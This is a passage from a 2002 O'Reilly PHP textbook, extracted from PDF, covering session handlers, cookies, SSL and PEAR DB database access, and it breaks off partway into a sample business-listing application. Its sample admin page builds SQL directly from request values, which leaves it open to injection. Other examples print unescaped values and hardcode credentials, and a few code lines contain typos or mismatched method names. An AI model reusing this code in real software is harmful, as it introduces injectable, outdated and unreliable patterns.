The final handler, the garbage-collection handler, is called at intervals to clean upexpired session data. The function should check for data that has not been used inlonger than the lifetime given by the call to the handler. Our database garbage-collection handler removes entries from the table whose last-modified timestampexceeds the maximum time:

function gc($max_time) { global $table; mysql_query( "DELETE FROM $table WHERE UNIX_TIMESTAMP(expiration) < UNIX_TIMESTAMP( )-$max_time") or error_log("gc: ".mysql_error( )."\n",3,"/tmp/errors.log"); return true;}

After creating all the handler functions, install them by calling session_set_save_handler( ) with the appropriate function names. With the preceding examples, call:

session_set_save_handler('open', 'close', 'read', 'write', 'destroy', 'gc');

You must call session_set_save_handler( ) before starting a session with session_start( ). This is normally accomplished by putting the store functions and call tosession_set_save_handler( ) in a file that’s included in every page that needs the cus-tom session handler. For example:

<?php require_once 'database_store.inc'; session_start( );?>

Because the handlers are called after output for the script is sent, no function thatgenerates output can be called. If errors occur, log them into a file using error_log( ),as we did earlier.

Combining Cookies and SessionsUsing a combination of cookies and your own session handler, you can preservestate across visits. Any state that should be forgotten when a user leaves the site,such as which page the user is on, can be left up to PHP’s built-in sessions. Any statethat should persist between user visits, such as a unique user ID, can be stored in acookie. With the user’s ID, you can retrieve the user’s more permanent state, such as

,ch07.15968 Page 187 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (188)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

188 | Chapter 7: Web Techniques

display preferences, mailing address, and so on, from a permanent store, such as adatabase.

Example 7-15 allows the user to select text and background colors and stores thosevalues in a cookie. Any visits to the page within the next week send the color valuesin the cookie.

SSLThe Secure Sockets Layer (SSL) provides a secure channel over which regular HTTPrequests and responses can flow. PHP doesn’t specifically concern itself with SSL, soyou cannot control the encryption in any way from PHP. An https:// URL indicates asecure connection for that document, unlike an http:// URL.

The HTTPS entry in the $_SERVER array is set to 'on' if the PHP page was generated inresponse to a request over an SSL connection. To prevent a page from being gener-ated over a nonencrypted connection, simply use:

if ($_SERVER{'HTTPS'] !== 'on') { die("Must be a secure connection.");}

A common mistake is to send a form over a secure connection (e.g., https://www.exam-ple.com/form.html), but have the action of the form submit to an http:// URL. Anyform parameters entered by the user are sent over an insecure connection—a trivialpacket sniffer can reveal them.

Example 7-15. Saving state across visits

<?php if($_POST['bgcolor']) { setcookie('bgcolor', $_POST['bgcolor'], time( ) + (60 * 60 * 24 * 7)); }

$bgcolor = empty($bgcolor) ? 'gray' : $bgcolor;?>

<body bgcolor="<?= $bgcolor ?>">

<form action="<?= $PHP_SELF ?>" method="POST"> <select name="bgcolor"> <option value="gray">Gray</option> <option value="white">White</option> <option value="black">Black</option> <option value="blue">Blue</option> <option value="green">Green</option> <option value="red">Red</option> </select>

<input type="submit" /></form></body>

,ch07.15968 Page 188 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (189)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

189

Chapter 8 CHAPTER 8

Databases

PHP has support for over 20 databases, including the most popular commercial andopen source varieties. Relational database systems such as MySQL, PostgreSQL, andOracle are the backbone of most modern dynamic web sites. In these are storedshopping-cart information, purchase histories, product reviews, user information,credit-card numbers, and sometimes even web pages themselves.

This chapter covers how to access databases from PHP. We focus on the PEAR DBsystem, which lets you use the same functions to access any database, rather than onthe myriad database-specific extensions. In this chapter, you’ll learn how to fetchdata from the database, how to store data in the database, and how to handle errors.We finish with a sample application that shows how to put various database tech-niques into action.

This book cannot go into all the details of creating web database applications withPHP. For a more in-depth look at the PHP/MySQL combination, see Web DatabaseApplications with PHP and MySQL, by Hugh Williams and David Lane (O’Reilly).

Using PHP to Access a DatabaseThere are two ways to access databases from PHP. One is to use a database-specificextension; the other is to use the database-independent PEAR DB library. There areadvantages and disadvantages to each approach.

If you use a database-specific extension, your code is intimately tied to the databaseyou’re using. The MySQL extension’s function names, parameters, error handling,and so on are completely different from those of the other database extensions. Ifyou want to move your database from MySQL to PostgreSQL, it will involve signifi-cant changes to your code. The PEAR DB, on the other hand, hides the database-spe-cific functions from you; moving between database systems can be as simple aschanging one line of your program.

The portability of an abstraction layer like PEAR’s DB library comes at a price. Fea-tures that are specific to a particular database (for example, finding the value of an

,ch08.16110 Page 189 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (190)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

190 | Chapter 8: Databases

automatically assigned unique row identifier) are unavailable. Code that uses the PEARDB is also typically a little slower than code that uses a database-specific extension.

Keep in mind that an abstraction layer like PEAR DB does absolutely nothing whenit comes to making sure your actual SQL queries are portable. If your applicationuses any sort of nongeneric SQL, you’ll have to do significant work to convert yourqueries from one database to another. For large applications, you should considerwriting a functional abstraction layer; that is, for each database your applicationneeds to support, write a set of functions that perform various database actions, suchas get_user_record( ), insert_user_record( ), and whatever else you need, then havea configuration option that sets the type of database to which your application isconnected. This approach lets you use all the intricacies of each database you chooseto support without the performance penalty and limitations of an abstraction layer.

For simple applications, we prefer the PEAR DB to the database-specific extensions,not just for portability but also for ease of use. The speed and feature costs are rarelysignificant enough to force us into using the database-specific extensions. For the mostpart, the rest of this chapter gives sample code using the PEAR DB abstraction objects.

For most databases, you’ll need to recompile PHP with the appropriate databasedrivers built into it. This is necessary whether or not you use the PEAR DB library.The help information for the configure command in the PHP source distributiongives information on how to build PHP with support for various databases. Forexample:

--with-mysql[=DIR] Include MySQL support. DIR is the MySQL base directory. If unspecified, the bundled MySQL library will be used.--with-oci8[=DIR] Include Oracle-oci8 support. Default DIR is ORACLE_HOME.--with-ibm-db2[=DIR] Include IBM DB2 support. DIR is the DB2 base install directory, defaults to /home/db2inst1/sqllib--with-pgsql[=DIR] Include PostgreSQL support. DIR is the PostgreSQL base install directory, defaults to /usr/local/pgsql.

You can’t build PHP with support for a database whose client libraries you don’thave on your system. For example, if you don’t have the Oracle client libraries, youcan’t build PHP with support for Oracle databases.

Use the phpinfo( ) function to check for database support in your installation ofPHP. For instance, if you see a section in the configuration report for MySQL, youknow you have MySQL support.

Relational Databases and SQLA Relational Database Management System (RDBMS) is a server that manages datafor you. The data is structured into tables, where each table has some number of

,ch08.16110 Page 190 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (191)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Relational Databases and SQL | 191

columns, each of which has a name and a type. For example, to keep track of JamesBond movies, we might have a “movies” table that records the title (a string), year ofrelease (a number), and the actor who played Bond in each movie (an index into atable of Bond actors).

Tables are grouped together into databases, so a James Bond database might havetables for movies, actors playing Bond, and villains. An RDBMS usually has its ownuser system, which controls access rights for databases (e.g., “user Fred can updatedatabase Bond”).

PHP communicates with relational databases such as MySQL and Oracle using theStructured Query Language (SQL). You can use SQL to create, modify, and queryrelational databases.

The syntax for SQL is divided into two parts. The first, Data Manipulation Lan-guage, or DML, is used to retrieve and modify data in an existing database. DML isremarkably compact, consisting of only four verbs: select, insert, update, anddelete. The set of SQL commands, used to create and modify the database struc-tures that hold the data, is known as Data Definition Language, or DDL. The syntaxfor DDL is not as standardized as that for DML, but as PHP just sends any SQL com-mands you give it to the database, you can use any SQL commands your databasesupports.

Assuming you have a table called movies, this SQL statement would insert a new row:

INSERT INTO movies VALUES(0, 'Moonraker', 1979, 2)

This SQL statement inserts a new row but lists the columns for which there are values:

INSERT INTO movies (title, year, actor) VALUES ('Octopuss*', 1982, 2)

To delete all movies from 1979, we could use this SQL statement:

DELETE FROM movies WHERE year=1979

To change the year for Octopuss* to 1983, use this SQL statement:

UPDATE movies SET year=1983 WHERE title='Octopuss*'

To fetch only the movies made in the 1980s, use:

SELECT * FROM movies WHERE year >= 1980 AND year < 1990

You can also specify the fields you want returned. For example:

SELECT title, year FROM movies WHERE year >= 1980 AND year < 1990

You can issue queries that bring together information from multiple tables. Forexample, this query joins together the movie and actor tables to let us see who starredin each movie:

SELECT movies.title, movies.year, actors.nameFROM movies,actors WHERE movies.star = actors.id AND year >= 1980 AND year < 1990

For more on SQL, see SQL in a Nutshell, by Kevin Kline (O’Reilly).

,ch08.16110 Page 191 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (192)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

192 | Chapter 8: Databases

PEAR DB BasicsExample 8-1 is a program to build an HTML table of information about James Bondmovies. It demonstrates how to use the PEAR DB library (which comes with PHP) toconnect to a database, issue queries, check for errors, and transform the results of que-ries into HTML. The library is object-oriented, with a mixture of class methods (DB::connect( ), DB::iserror( )) and object methods ($db->query( ), $q->fetchInto( )).

The output of Example 8-1 is shown in Figure 8-1.

Data Source NamesA data source name (DSN) is a string that specifies where the database is located,what kind of database it is, the username and password to use when connecting to

Example 8-1. Display movie information

<html><head><title>Bond Movies</title></head><body>

<table border=1><tr><th>Movie</th><th>Year</th><th>Actor</th></tr><?php // connect require_once('DB.php'); $db = DB::connect("mysql://bondview:007@localhost/webdb"); if (DB::iserror($db)) { die($db->getMessage( )); }

// issue the query $sql = "SELECT movies.title,movies.year,actors.name FROM movies,actors WHERE movies.actor=actors.id ORDER BY movies.year ASC";

$q = $db->query($sql); if (DB::iserror($q)) { die($q->getMessage( )); }

// generate the table while ($q->fetchInto($row)) {?><tr><td><?= $row[0] ?></td> <td><?= $row[1] ?></td> <td><?= $row[2] ?></td></tr><?php }?>

,ch08.16110 Page 192 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (193)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

PEAR DB Basics | 193

the database, and more. The components of a DSN are assembled into a URL-likestring:

type(dbsyntax)://username:password@protocol+hostspec/database

The only mandatory field is type, which specifies the PHP database backend to use.Table 8-1 lists the implemented database types at the time of writing.

Figure 8-1. The movie page

Table 8-1. PHP database types

Name Database

Mysql MySQL

Pgsql PostgreSQL

Ibase InterBase

Msql Mini SQL

Mssql Microsoft SQL Server

oci8 Oracle 7/8/8i

Odbc ODBC

Sybase SyBase

Ifx Informix

Fbsql FrontBase

,ch08.16110 Page 193 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (194)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

194 | Chapter 8: Databases

The protocol is the communication protocol to use. The two common values are"tcp" and "unix", corresponding to Internet and Unix domain sockets. Not everydatabase backend supports every communications protocol.

These are some sample valid data source names:

mysql:///webdbmysql://localhost/webdbmysql://bondview@localhost/webdbmysql://bondview@tcp+localhost/webdbmysql://bondview:007@localhost/webdb

In Example 8-1, we connected to the MySQL database webdb with the usernamebondview and password 007.

A common development technique is to store the DSN in a PHP file and include thatfile in every page that requires database connectivity. Doing this means that if theinformation changes, you don’t have to change every page. In a more sophisticatedsettings file, you might even switch DSNs based on whether the application is run-ning in development or deployment mode.

ConnectingOnce you have a DSN, create a connection to the database using the connect( )method. This returns a database object you’ll use for tasks such as issuing queriesand quoting parameters:

$db = DB::connect(DSN [, options ]);

The options value can either be Boolean, indicating whether or not the connection is tobe persistent, or an array of options settings. The options values are given in Table 8-2.

By default, the connection is not persistent and no debugging information is dis-played. Permitted values for optimize are 'performance' and 'portability'. Thedefault is 'performance'. Here’s how to enable debugging and optimize for portability:

$db = DB::connect($dsn, array('debug' => 1, 'optimize' => 'portability'));

Error CheckingPEAR DB methods return DB_ERROR if an error occurs. You can check for this withDB::isError( ):

Table 8-2. Connection options

Option Controls

persistent Connection persists between accesses

optimize What to optimize for

debug Display debugging information

,ch08.16110 Page 194 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (195)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

PEAR DB Basics | 195

$db = DB::connect($datasource);if (DB::isError($db)) { die($db->getMessage( ));}

The DB::isError( ) method returns true if an error occurred while working with thedatabase object. If there was an error, the usual behavior is to stop the program anddisplay the error message reported by the getMessage( ) method. You can callgetMessage( ) on any PEAR DB object.

Issuing a QueryThe query( ) method on a database object sends SQL to the database:

$result = $db->query(sql);

A SQL statement that doesn’t query the database (e.g., INSERT, UPDATE, DELETE)returns the DB_OK constant to indicate success. SQL that performs a query (e.g.,SELECT) returns an object that you can use to access the results.

You can check for success with DB::isError( ):

$q = $db->query($sql);if (DB::iserror($q)) { die($q->getMessage( ));}

Fetching Results from a QueryPEAR DB provides two methods for fetching data from a query result object. Onereturns an array corresponding to the next row, and the other stores the row arrayinto a variable passed as a parameter.

Returning the row

The fetchRow( ) method on a query result returns an array of the next row of results:

$row = $result->fetchRow([ mode ]);

This returns either an array of data, NULL if there is no more data, or DB_ERROR if anerror occurred. The mode parameter controls the format of the array returned, whichis discussed later.

This common idiom uses the fetchRow( ) method to process a result, one row at atime, as follows:

while ($row = $result->fetchRow( )) { if (DB::isError($row)) { die($row->getMessage( )); } // do something with the row}

,ch08.16110 Page 195 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (196)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

196 | Chapter 8: Databases

Storing the row

The fetchInto( ) method also gets the next row, but stores it into the array variablepassed as a parameter:

$success = $result->fetchInto(array, [mode]);

Like fetchRow( ), fetchInto( ) returns NULL if there is no more data, or DB_ERROR if anerror occurs.

The idiom to process all results looks like this with fetchInto( ):

while ($success = $result->fetchInto($row)) { if (DB::isError($success)) { die($success->getMessage( )); } // do something with the row}

Inside a row array

Just what are these rows that are being returned? By default, they’re indexed arrays,where the positions in the array correspond to the order of the columns in thereturned result. For example:

$row = $result->fetchRow( );if (DB::isError($row)) { die($row->getMessage( ));}var_dump($row);array(3) { [0]=> string(5) "Dr No" [1]=> string(4) "1962" [2]=> string(12) "Sean Connery"}

You can pass a mode parameter to fetchRow( ) or fetchInto( ) to control the format ofthe row array. The default behavior, shown previously, is specified with DB_FETCHMODE_ORDERED.

The fetch mode DB_FETCHMODE_ASSOC creates an array whose keys are the columnnames and whose values are the values from those columns:

$row = $result->fetchRow(DB_FETCHMODE_ASSOC);if (DB::isError($row)) { die($row->getMessage( ));}var_dump($row);array(3) { ["title"]=> string(5) "Dr No" ["year"]=>

,ch08.16110 Page 196 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (197)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Advanced Database Techniques | 197

string(4) "1962" ["name"]=> string(12) "Sean Connery"}

The DB_FETCHMODE_OBJECT mode turns the row into an object, with a property for eachcolumn in the result row:

$row = $result->fetchRow(DB_FETCHMODE_ASSOC);if (DB::isError($row)) { die($row->getMessage( ));}var_dump($row);object(stdClass)(3) { ["title"]=> string(5) "Dr No" ["year"]=> string(4) "1962" ["name"]=> string(12) "Sean Connery"}

To access data in the object, use the $object->property notation:

echo "{$row->title} was made in {$row->year}";Dr No was made in 1962

Finishing the result

A query result object typically holds all the rows returned by the query. This mayconsume a lot of memory. To return the memory consumed by the result of a queryto the operating system, use the free( ) method:

$result->free( );

This is not strictly necessary, as free( ) is automatically called on all queries whenthe PHP script ends.

DisconnectingTo force PHP to disconnect from the database, use the disconnect( ) method on thedatabase object:

$db->disconnect( );

This is not strictly necessary, however, as all database connections are disconnectedwhen the PHP script ends.

Advanced Database TechniquesPEAR DB goes beyond the database primitives shown earlier; it provides severalshortcut functions for fetching result rows, as well as a unique row ID system andseparate prepare/execute steps that can improve the performance of repeated queries.

,ch08.16110 Page 197 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (198)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

198 | Chapter 8: Databases

PlaceholdersJust as printf( ) builds a string by inserting values into a template, the PEAR DB canbuild a query by inserting values into a template. Pass the query( ) function SQL with? in place of specific values, and add a second parameter consisting of the array ofvalues to insert into the SQL:

$result = $db->query(SQL, values);

For example, this code inserts three entries into the movies table:

$movies = array(array('Dr No', 1962), array('Goldfinger', 1965), array('Thunderball', 1965));foreach ($movies as $movie) { $db->query('INSERT INTO movies (title,year) VALUES (?,?)', $movie);}

There are three characters that you can use as placeholder values in an SQL query:

? A string or number, which will be quoted if necessary (recommended)

| A string or number, which will never be quoted

& A filename, the contents of which will be included in the statement (e.g., forstoring an image file in a BLOB field)

Prepare/ExecuteWhen issuing the same query repeatedly, it can be more efficient to compile thequery once and then execute it multiple times, using the prepare( ), execute( ), andexecuteMultiple( ) methods.

The first step is to call prepare( ) on the query:

$compiled = $db->prepare(SQL);

This returns a compiled query object. The execute( ) method fills in any placehold-ers in the query and sends it to the RDBMS:

$response = $db->execute(compiled, values);

The values array contains the values for the placeholders in the query. The returnvalue is either a query response object, or DB_ERROR if an error occurred.

For example, we could insert multiple values into the movies table like this:

$movies = array(array('Dr No', 1962), array('Goldfinger', 1965), array('Thunderball', 1965));$compiled = $q->prepare('INSERT INTO movies (title,year) VALUES (?,?)');foreach ($movies as $movie) { $db->execute($compiled, $movie);}

,ch08.16110 Page 198 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (199)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Advanced Database Techniques | 199

The executeMultiple( ) method takes a two-dimensional array of values to insert:

$responses = $db->executeMultiple(compiled, values);

The values array must be numerically indexed from 0 and have values that are arraysof values to insert. The compiled query is executed once for every entry in values,and the query responses are collected in $responses.

A better way to write the movie-insertions code is:

$movies = array(array('Dr No', 1962), array('Goldfinger', 1965), array('Thunderball', 1965));$compiled = $q->prepare('INSERT INTO movies (title,year) VALUES (?,?)');$db->insertMultiple($compiled, $movies);

ShortcutsPEAR DB provides a number of methods that perform a query and fetch the resultsin one step: getOne( ), getRow( ), getCol( ), getAssoc( ), and getAll( ). All of thesemethods permit placeholders.

The getOne( ) method fetches the first column of the first row of data returned by anSQL query:

$value = $db->getOne(SQL [, values ]);

For example:

$when = $db->getOne("SELECT avg(year) FROM movies");if (DB::isError($when)) { die($when->getMessage( ));}echo "The average James Bond movie was made in $when";The average James Bond movie was made in 1977

The getRow( ) method returns the first row of data returned by an SQL query:

$row = $db->getRow(SQL [, values ]]);

This is useful if you know only one row will be returned. For example:

list($title, $actor) = $db->getRow( "SELECT movies.title,actors.name FROM movies,actors WHERE movies.year=1977 AND movies.actor=actors.id");echo "($title, starring $actor)";(The Spy Who Loved Me, starring Roger Moore)

The getCol( ) method returns a single column from the data returned by an SQLquery:

$col = $db->getCol(SQL [, column [, values ]]);

The column parameter can be either a number (0, the default, is the first column), orthe column name.

,ch08.16110 Page 199 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (200)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

200 | Chapter 8: Databases

For example, this fetches the names of all the Bond movies in the database, orderedby the year they were released:

$titles = $db->getAll("SELECT title FROM movies ORDER BY year ASC");foreach ($titles as $title) { echo "$title\n";}Dr NoFrom Russia With LoveGoldfinger...

The getAll( ) method returns an array of all the rows returned by the query:

$all = $db->getAll(SQL [, values [, fetchmode ]]);

For example, the following code builds a select box containing the names of themovies. The ID of the selected movie is submitted as the parameter value.

$results = $db->getAll("SELECT id,title FROM movies ORDER BY year ASC");echo "<select name='movie'>\n";foreach ($results as $result) { echo "<option value={$result[0]}>{$result[1]}</option>\n";}echo "</select>";

All the get*( ) methods return DB_ERROR when an error occurs.

Details About a Query ResponseFour PEAR DB methods provide you with information on a query result object:numRows( ), numCols( ), affectedRows( ), and tableInfo( ).

The numRows( ) and numCols( ) methods tell you the number of rows and columnsreturned from a SELECT query:

$howmany = $response->numRows( );$howmany = $response->numCols( );

The affectedRows( ) method tells you the number of rows affected by an INSERT,DELETE, or UPDATE operation:

$howmany = $response->affectedRows( );

The tableInfo( ) method returns detailed information on the type and flags of fieldsreturned from a SELECT operation:

$info = $response->tableInfo( );

The following code dumps the table information into an HTML table:

$info = $response->tableInfo( );a_to_table($info);

function a_to_table ($a) { echo "<table border=1>\n"; foreach ($a as $k => $v) {

,ch08.16110 Page 200 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (201)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Advanced Database Techniques | 201

echo "<tr valign=top align=left><td>$k</td><td>"; if (is_array($v)) { a_to_table($v); } else { print_r($v); } echo "</td></tr>\n"; } echo "</table>\n";}

Figure 8-2 shows the output of the table information dumper.

SequencesNot every RDBMS has the ability to assign unique row IDs, and those that do havewildly differing ways of returning that information. PEAR DB sequences are an alter-native to database-specific ID assignment (for instance, MySQL’s AUTO_INCREMENT).

The nextID( ) method returns the next ID for the given sequence:

$id = $db->nextID(sequence);

Normally you’ll have one sequence per table for which you want unique IDs. Thisexample inserts values into the movies table, giving a unique identifier to each row:

$movies = array(array('Dr No', 1962), array('Goldfinger', 1965), array('Thunderball', 1965));

Figure 8-2. The information from tableInfo( )

,ch08.16110 Page 201 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (202)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

202 | Chapter 8: Databases

foreach ($movies as $movie) { $id = $db->nextID('movies'); splice($movie, 0, 0, $id); $db->query('INSERT INTO movies (id,title,year) VALUES (?,?,?)', $movie);}

A sequence is really a table in the database that keeps track of the last-assigned ID.You can explicitly create and destroy sequences with the createSequence( ) anddropSequence( ) methods:

$res = $db->createSequence(sequence);$res = $db->dropSequence(sequence);

The result will be the result object from the create or drop query, or DB_ERROR if anerror occurred.

MetadataThe getListOf( ) method lets you query the database for information on availabledatabases, users, views, and functions:

$data = $db->getListOf(what);

The what parameter is a string identifying the database feature to list. Most data-bases support "databases"; some support "users", "views", and "functions".

For example, this stores a list of available databases in $dbs:

$dbs = $db->getListOf("databases");

TransactionsSome RDBMSs support transactions, in which a series of database changes can becommitted (all applied at once) or rolled back (discarded, with the changes not appliedto the database). For example, when a bank handles a money transfer, the withdrawalfrom one account and deposit into another must happen together—neither shouldhappen without the other, and there should be no time between the two actions.PEAR DB offers the commit ( ) and rollback( ) methods to help with transactions:

$res = $db->commit( );$res = $db->rollback( );

If you call commit( ) or rollback( ) on a database that doesn’t support transactions,the methods return DB_ERROR.

Sample ApplicationBecause web database applications are such a mainstay of web development, we’vedecided to show you a complete sample application in this chapter. This sectiondevelops a self-maintaining business listing service. Companies add their own recordsto the database and pick the category or categories by which they want to be indexed.

,ch08.16110 Page 202 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (203)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sample Application | 203

Two HTML forms are needed to populate the database tables. One form providesthe site administrator with the means to add category IDs, titles, and descriptions.The second form, used by the self-registering businesses, collects the business con-tact information and permits the registrant to associate the listing with one or morecategories. A separate page displays the listings by category on the web page.

Database TablesThere are three tables: businesses to collect the address data for each business,categories to name and describe each category, and an associative table called biz_categories to relate entries in the other two tables to each other. These tables andtheir relationships are shown in Figure 8-3.

Example 8-2 contains a dump of the table schema in MySQL format. Depending onyour database’s features, the schema may have to be altered slightly.

Figure 8-3. Database design for business listing service

Example 8-2. Database schema

# --------------------------------------------------------## Table structure for table 'biz_categories'#

CREATE TABLE biz_categories ( business_id int(11) NOT NULL, category_id char(10) NOT NULL, PRIMARY KEY (business_id, category_id), KEY business_id (business_id, category_id));

# --------------------------------------------------------## Table structure for table 'businesses'#

CREATE TABLE businesses ( business_id int(11) NOT NULL auto_increment, name varchar(255) NOT NULL,

Businesses

Business IDNameAddressCityTelephoneURL

Biz_Categories

Business IDCategory ID

Categories

Category IDTitleDescription

1,n 1,n

,ch08.16110 Page 203 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (204)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

204 | Chapter 8: Databases

Database ConnectionWe’ve designed these pages to work with a MySQL, PostgreSQL, or Oracle 8i back-end. The only visible sign of this in the PHP code is that we use commit( ) after everyupdate. We’ve abstracted the database-specific stuff to a db_login.php library, shownin Example 8-3, which selects an appropriate DSN for MySQL, PostgreSQL, or Oracle.

address varchar(255) NOT NULL, city varchar(128) NOT NULL, telephone varchar(64) NOT NULL, url varchar(255), PRIMARY KEY (business_id), UNIQUE business_id (business_id), KEY business_id_2 (business_id));

# --------------------------------------------------------## Table structure for table 'categories'#

CREATE TABLE categories ( category_id varchar(10) NOT NULL, title varchar(128) NOT NULL, description varchar(255) NOT NULL, PRIMARY KEY (category_id), UNIQUE category_id (category_id), KEY category_id_2 (category_id));

Example 8-3. Database connection abstraction script (db_login.php)

<?php require_once('DB.php');

// database connection setup section

$username = 'user'; $password = 'seekrit'; $hostspec = 'localhost'; $database = 'phpbook';

// select one of these three values for $phptype

// $phptype = 'pgsql'; // $phptype = 'oci8'; $phptype = 'mysql';

// check for Oracle 8 - data source name syntax is different

if ($phptype != 'oci8'){

Example 8-2. Database schema (continued)

,ch08.16110 Page 204 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (205)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sample Application | 205

Administrator’s PageExample 8-4 shows the backend page that allows administrators to add categories tothe listing service. The input fields for adding a new record appear after a dump ofthe current data. The administrator fills in the form and presses the Add Categorybutton, and the page redisplays with the new record. If any of the three fields are notfilled in, the page displays an error message.

$dsn = "$phptype://$username:$password@$hostspec/$database"; } else { $net8name = 'www'; $dsn = "$phptype://$username:$password@$net8name"; }

// establish the connection

$db = DB::connect($dsn); if (DB::isError($db)) { die ($db->getMessage( )); }?>

Example 8-4. Backend administration page

<html><head><?php require_once('db_login.php');?>

<title><?php // print the window title and the topmost body heading $doc_title = 'Category Administration'; echo "$doc_title\n";?></title></head><body><h1><?php echo "$doc_title\n";?></H1>

<?php // add category record input section

// extract values from $_REQUEST $Cat_ID = $_REQUEST['Cat_ID']; $Cat_Title = $_REQUEST['Cat_Title'];

Example 8-3. Database connection abstraction script (db_login.php) (continued)

,ch08.16110 Page 205 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (206)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

206 | Chapter 8: Databases

$Cat_Desc = $_REQUEST['Cat_Desc']; $add_record = $_REQUEST['add_record'];

// determine the length of each input field $len_cat_id = strlen($_REQUEST['Cat_ID']); $len_cat_tl = strlen($_REQUEST['Cat_Title']); $len_cat_de = strlen($_REQUEST['Cat_Desc']);

// validate and insert if the form script has been // called by the Add Category button if ($add_record == 1) { if (($len_cat_id > 0) and ($len_cat_tl > 0) and ($len_cat_de > 0)){ $sql = "insert into categories (category_id, title, description)"; $sql .= " values ('$Cat_ID', '$Cat_Title', '$Cat_Desc')"; $result = $db->query($sql); $db->commit( ); } else { echo "<p>Please make sure all fields are filled in "; echo "and try again.</p>\n"; } }

// list categories reporting section

// query all records in the table after any // insertion that may have occurred above $sql = "select * from categories"; $result = $db->query($sql);?>

<form method="POST" action="cat_admin.php">

<table><tr><th bgcolor="#EEEEEE">Cat ID</th> <th bgcolor="#EEEEEE">Title</th> <th bgcolor="#EEEEEE">Description</th></tr>

<?php // display any records fetched from the database // plus an input line for a new category while ($row = $result->fetchRow( )){ echo "<tr><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td></tr>\n"; }?>

<tr><td><input type="text" name="Cat_ID" size="15" maxlength="10"></td> <td><input type="text" name="Cat_Title" size="40" maxlength="128"></td> <td><input type="text" name="Cat_Desc" size="45" maxlength="255"></td></tr></table>

Example 8-4. Backend administration page (continued)

,ch08.16110 Page 206 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (207)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sample Application | 207

When the administrator submits a new category, we construct a query to add thecategory to the database. Another query displays the table of all current categories.Figure 8-4 shows the page with five records loaded.

Adding a BusinessExample 8-5 shows the page that lets a business insert data into the business andbiz_categories tables. Figure 8-5 shows the form.

When the user enters data and clicks on the Add Business button, the script callsitself to display a confirmation page. Figure 8-6 shows a confirmation page for acompany listing assigned to two categories.

In the confirmation page, the Add Business button is replaced by a link that willinvoke a fresh instance of the script. A success message is displayed at the top ofthe page. Instructions for using the scrolling pick list are replaced with explanatorytext.

As shown in Example 8-5, we build the scrolling list from a query to select all the cat-egories. As we produce HTML for each of the results from that query, we also checkto see whether the current category was one of the categories submitted for the newbusiness. If it was, we add a new record to the biz_categories table.

<input type="hidden" name="add_record" value="1"><input type="submit" name="submit" value="Add Category"></body></html>

Figure 8-4. The administration page

Example 8-4. Backend administration page (continued)

,ch08.16110 Page 207 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (208)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

208 | Chapter 8: Databases

Figure 8-5. The business registration page

Figure 8-6. Listing assigned to two categories

Example 8-5. Adding a business

<html><head><title><?php $doc_title = 'Business Registration'; echo "$doc_title\n";?></title></head>

,ch08.16110 Page 208 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (209)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Sample Application | 209

<body><h1><?= $doc_title ?></h1>

<?php require_once('db_login.php');

